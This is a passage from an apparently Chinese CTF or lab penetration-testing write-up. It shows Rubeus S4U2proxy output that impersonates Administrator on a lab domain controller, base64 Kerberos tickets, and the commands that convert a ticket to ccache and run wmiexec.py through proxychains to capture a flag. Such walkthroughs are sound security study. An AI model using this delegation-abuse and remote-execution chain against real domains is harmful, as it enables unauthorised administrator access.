doIF3DCCBdigAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKOCBKQwggSgoAMCARKhAwIBAqKCBJIEggSOpMJkJ5p7G0fjwSYvWl7dfCxbFN30JF4K+AYseVdvWchdIYCXJoQZW6KWWEZMG36ZroJINqGx818y33G9qk1wuX7C+O36EnAojWTrpa9QUR8G/evp+B0EYH9yZ23ayyUvJP7To0nYFciGeyX9KA1tRxqmF/sPQixdAWYNhkFKNYVkdP0f7blhD8zwkOpDdwiJsDlZfuhQmD9iU3u+ATaOUsUUIBtc6tGbTNa2YmJzTlqdij8u8VbmckwfUKp3qaJ/5vUyFjvXlEbMkGKj8DuL1x7K7GAgdpOI/6rDS++t0b/i+/DwA3fvcA8QV23EzVsNJjnndNx0r4BrPXgYvAkWjEKWDa8Yq40Ucvqre7cxhK7SiDQTU0n6RBsPQjEp1ST7lyqsV/phySzP+9s0WLYngLsK/q/eTcf6gCOrCB6kPiwhPD4r+EYpsL9+bqEc2skDJGBn3h0Au7B5EK0n+24e2HvjvJhN+ggzfV7tSJhyVn9TxTO08H2NSBDCrS5LJA5Y2vQkQMC4mSB7RI6rZG890ghwlXsNlOkM/FKBzkzLd3lSDveuNyNvCTRqXNtuHsSpOfGgoa0gm/c9cI/lbNYBZgarHux0WtYllpIpjzcOAjPY9hbZtL3Wq+DXywl4kBGv3K4v7tpG4xMyf+7anvf2IfEFnVkn2xDR/HxiTKRPlMSbG8nAVmoqZ0CA73ZrtPeWFhGPUyS4Z1XscxtHSoZia8tycg+sExR6ZZYwpfqUGBuQphKENXGGtQV3bfFB/0ZQ/zvTj6VFCUmIlxwegYGUJxnNG49VjWvUR6Gsa4LARhOJchncV2Iwf/wrFt163asgUloUKvGqjINYjVqQiXMk2BsCEjJ15jeCdcEjO5Qpq2F6iOOhOH4EuK9iAz2cc3Qc+d2IhVLRMqwpT0OMK45NpVWsm05t9Rq8kWaCJ0sZu3uRA53zXcXOmZrQJaHeHIAltHfvizd85KL+6zoYv7ueMJRvkQKtHsSArcsGQvx6ftiMa1KLGvVBWvLkSE5vvVP1wMV+M9rDNioQImsHEndbqQD6cWKVxuzHVsUTKb6BOGOpJXNWSKxrzb13mUCtPDJK7tFChyxTa0kCftGqLScwssT6rVTlJ0lPJymSBxjuQprTldAIDavCAW3V7mIV70fWcJ8ZAdGdJ67J1TgN3Kxkbse1g2wP577mZsZxr/JSvlfMDIMig/8LUeComeaVtJ/pHJa4j1YSC8p/SNz88CWax2yJSgOKHiB9HDXCTnRlCbA7op55hq7+wBNxdBJbOUQTSGTzB//Kk2rPdJWwBgOOUJVwNbij2la9wIHBYSQQE3HomY/f05aSfQuHQOomLwxEn7yf5vOXIwj8MlUuNPAGYu1y8PEtVCi/v25n8NbgcGDOPrcC1MXCeuW1Slf8MTYjnMQigiE1Gt2KrwLTSpDH6LqZw8S0nOjY1dJNQVNXrQzyFiTBLnAfRz1qoFRZwMPz6ChoJgBRsk8Y6D6uHwwOyXJqbGIdnPkNUAsUwwREEjalY3iW3dwnKoNKmRVlFcgvyFNmaNltL9bxLC5z6FCjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCCHV319Q3EkTEuN7lMmnbvMryY8F00rDbVNhbWXpj/rVqEOGwxYSUFPUkFORy5MQUKiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjMwODA0MDc1NDI4WqYRGA8yMDIzMDgwNDE3NTQyOFqnERgPMjAyMzA4MTEwNzU0MjhaqA4bDFhJQU9SQU5HLkxBQqkZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJA==
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC.xiaorang.lab'
[*] Building S4U2proxy request for service: 'cifs/DC.xiaorang.lab'
[*] Using domain controller: DC.xiaorang.lab (172.22.2.3)
[*] Sending S4U2proxy request to domain controller 172.22.2.3:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC.xiaorang.lab':
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dir \\DC\c$ 的时候发现拒绝访问, 然后突然想起来之前在哪看到过用 Rubeus 申请 ST 有个小坑来着, 但是忘记是哪一遍文章了 (
因为比较赶时间 (💰) 的原因索性直接把 base64 ticket 转成 ccache 然后用 wmiexec.py 连过去
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export KRB5CCNAME=ticket.ccache
proxychains wmiexec.py DC.xiaorang.lab -k -no-pass -dc-ip 172.22.2.3
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flag04
最后补张图, 虽然没啥用但是看起来挺酷炫的
